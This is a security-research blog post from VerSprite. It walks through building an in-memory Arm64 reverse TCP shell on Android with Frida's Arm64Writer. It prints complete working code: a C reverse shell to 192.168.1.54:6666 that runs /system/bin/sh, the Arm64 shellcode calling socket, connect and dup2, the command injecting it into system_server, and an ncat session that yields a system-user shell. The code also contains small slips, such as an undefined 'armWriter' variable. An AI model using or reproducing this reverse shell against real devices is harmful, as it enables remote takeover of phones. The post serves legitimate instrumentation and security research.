Shellcoding an Arm64 In-Memory Reverse TCP Shell with Frida | VerSprite Shellcoding an Arm64 In-Memory Reverse TCP Shell with Frida | VerSprite

Shellcoding an Arm64 In-Memory Reverse TCP Shell with Frida

Written By: Versprite

Overview

In the first installment of the Frida Engage blog series, we explored the ways in which we could use Frida’s MemoryNativeFunction, and Module API(s) to build a simple ELF parser. In part two of the series we are going to explore and leverage Frida’s new Arm64Writer API to build an in-memory reverse TCP shell.

Arm64Writer

Frida’s 10.4 release included the exposure of its internal C API(s) used to implement Interceptor and Stalker. These API(s) come in a few flavors including Arm64. Even though there is the Arm64Relocator API, which is used for copying instructions from one memory location to another, this blog post will be focused on using the Arm64Writer.

The Arm64Writer, just like its counterparts, creates a new code writer for generating AArch64 machine code written directly to a memory address. Based on Frida’s documentation, this API is really meant to be used within a call to Memory.patchCode()Memory.pathCode() which gives you the ability to safely write to a chunk of memory.

The Arm64Writer API has implemented a subset of the AArch64 instruction set with a handful of exposed functions. Even if there isn’t a function that handles a specific instruction, the putInstruction() function allows you to write a raw instruction expressed as a JavaScript Number.

Before we dive into the reverse TCP shell implementation, here is some basic Arm64Writer usage.

var impl = Memory.alloc(Process.pageSize);
Memory.patchCode(impl, Process.pageSize, function (code) {
  var arm64Writer = new Arm64Writer(code, { pc: impl });
  arm64Writer.putNop();
  arm64Writer.putNop();
  arm64Writer.putNop();
  arm64Writer.flush();
});

Reverse TCP Shell Implementation and Requirements

The goal is to implement the following basic reverse TCP shell using Frida’s Arm64Writer API and other additional API(s).

{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("192.168.1.54");
    sa.sin_port = htons(6666);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/system/bin/sh", 0, 0);
    return 0;

}

Initially my plan was to implement the entire thing using the Arm64Writer, but I opted to mix and match API(s) instead … because I am lazy. Let’s breakdown what our implementation will consist of.

  • Use the Memory API in order to build our sockaddr_in structure
    • Instead of calling inet_addr(), I’m going to populate the s.addrmember with a pre-converted IP Address
    • We will also fill out the rest of the structure, which includes sin_family and sin_port
  • When creating and writing to the structures like sockaddr_in I always refer to the structure’s definition as my guide into which Frida API(s) I need to use
  struct sockaddr_in {
      u_char    sin_len;
      u_char    sin_family;
      u_short   sin_port;
      struct    in_addr sin_addr;
      char  sin_zero[8];
};
  • The portion written with Arm64Writer will be the following:
    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);
  • In order to call our shellcode, we need to create a naked function using the NativeFunction API
    • This allows us to attach the location of our shellcode in memory to the naked function
    • The naked function will take a single argument defined as a pointer
      • We will pass the pointer to our pre-allocated sockaddr_instructure to the function
      • Our shellcode will take this and pass it as the second argument to the connect() function
    • When we call the native function, our shellcode will be executed
  • Finally we will create a new NativeFunction with execv's implementation and call it

Building and Testing the Reverse TCP Shell

My testing environment includes a Nexus 5X running 7.1.2 and Frida 10.6. I’ve attempted to document each instruction that I used within the actual shellcode implementation.

var impl = Memory.alloc(Process.pageSize);
Memory.patchCode(impl, Process.pageSize, function (code) {
  var arm64Writer = new Arm64Writer(code, { pc: impl });
  // SUB             SP, SP, #0x50
  arm64Writer.putSubRegRegImm('sp', 'sp', 0x50);
  // STP             X29, X30, [SP, #0x40]
  arm64Writer.putStpRegRegRegOffset('x29', 'x30', 'sp', 0x40, 'pre-adjust');
  // ADD             X29, SP, #0x40
  arm64Writer.putAddRegRegImm('x29', 'sp', 0x40);
  // STR             X0, [SP, #0x18]
  arm64Writer.putStrRegRegOffset('x0', 'sp', 0x18);
  // MOV             W0, #2
  arm64Writer.putInstruction(0x52800040);
  // MOV             W1, #1
  arm64Writer.putInstruction(0x52800021);
  // MOV             W2, WZR
  arm64Writer.putInstruction(0x2A1F03E2);
  arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'socket'), ['w0', 'w1', 'w2']);
  // STR             W0, [SP, #0x10]
  arm64Writer.putStrRegRegOffset('w0', 'sp', 0x10);
  // MOV             W2, #0x10
  arm64Writer.putInstruction(0x52800202);
  // LDR             X1, [SP, #0x18]
  arm64Writer.putLdrRegRegOffset('x1', 'sp', 0x18);
  arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'connect'), ['w0', 'x1', 'w2']);
  // LDR             W0, [SP, #0x10]
  arm64Writer.putLdrRegRegOffset('w0', 'sp', 0x10);
  // MOV             W1, WZR
  arm64Writer.putInstruction(0x2A1F03E1);
  arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'dup2'), ['w0', 'w1']);
  // LDR             W0, [SP, #0x10]
  arm64Writer.putLdrRegRegOffset('w0', 'sp', 0x10);
  // MOV             W1, #1
  arm64Writer.putInstruction(0x52800021);
  arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'dup2'), ['w0', 'w1']);
  // LDR             W0, [SP, #0x10]
  arm64Writer.putLdrRegRegOffset('w0', 'sp', 0x10);
  // MOV             W1, #2
  arm64Writer.putInstruction(0x52800041);
  arm64Writer.putCallAddressWithArguments(Module.findExportByName('libc.so', 'dup2'), ['w0', 'w1']);
  // LDP             X29, X30, [SP, #0x40]
  arm64Writer.putLdpRegRegRegOffset('x29', 'x30', 'sp', 0x20, 'pre-adjust');
  // ADD             SP, SP, #0x50
  arm64Writer.putAddRegRegImm('sp', 'sp', 0x50);
  // RET
  arm64Writer.putRet();
  armWriter.flush();
});

From my host machine, I start up an ncat listener.

ncat -lvp 6666
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 9603 8D55 E978 5993 7578 FADF DB65 B107 4577 9846
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666

Finally we can inject our reverse TCP shell and wait for a connection!

frida -U -n "system_server" -l reverse_shell.js
./run.sh
     ____
    / _  |   Frida 10.6.21 - A world-class dynamic instrumentation framework
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at http://www.frida.re/docs/home/
Attaching...
[+] Building our sock_addr_in structure [!]
[+] Writing our Arm64 shellcode [!]
[+] Calling our Arm64 shellcode function [!]
[+] Calling execve [!]
ncat -lvp 6666
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 9603 8D55 E978 5993 7578 FADF DB65 B107 4577 9846
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 192.168.1.71.
Ncat: Connection from 192.168.1.71:40286.
id
uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1032(package_info),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock) context=u:r:system_server:s0

You can check out the entire implementation here –> https://github.com/VerSprite/engage/blob/master/js/reverse_shell.js

Wrapping Up

This concludes our introduction into Frida’s Arm64Writer API and all the cool things you can create with it. We are just one post away from wrapping up the Frida Engage blog series. In part three, we will continue to explore more creative ways of utilizing Frida’s power and capabilities.

References

http://infocenter.arm.com/
https://www.frida.re/docs/javascript-api/#memory
https://www.frida.re/docs/javascript-api/#nativefunction
https://www.frida.re/docs/javascript-api/#arm64writer

Protect Your Assets from Various Threat Actors

VerSprite's Research and Development division (a.k.a VS-Labs) is comprised of individuals who are passionate about diving into the internals of various technologies.

Our clients rely on VerSprite's unique offerings of zero-day vulnerability research and exploit development to protect their assets from various threat actors.

From advanced technical security training to our research for hire B.O.S.S offering, we help organizations solve their most complex technical challenges. Learn more about Research as a Service →

Receive Security News





View our security advisories detailing vulnerabilities found in major products for MacOs, Windows, Android, and iOS.

We are an international squad of professionals working as one.

logos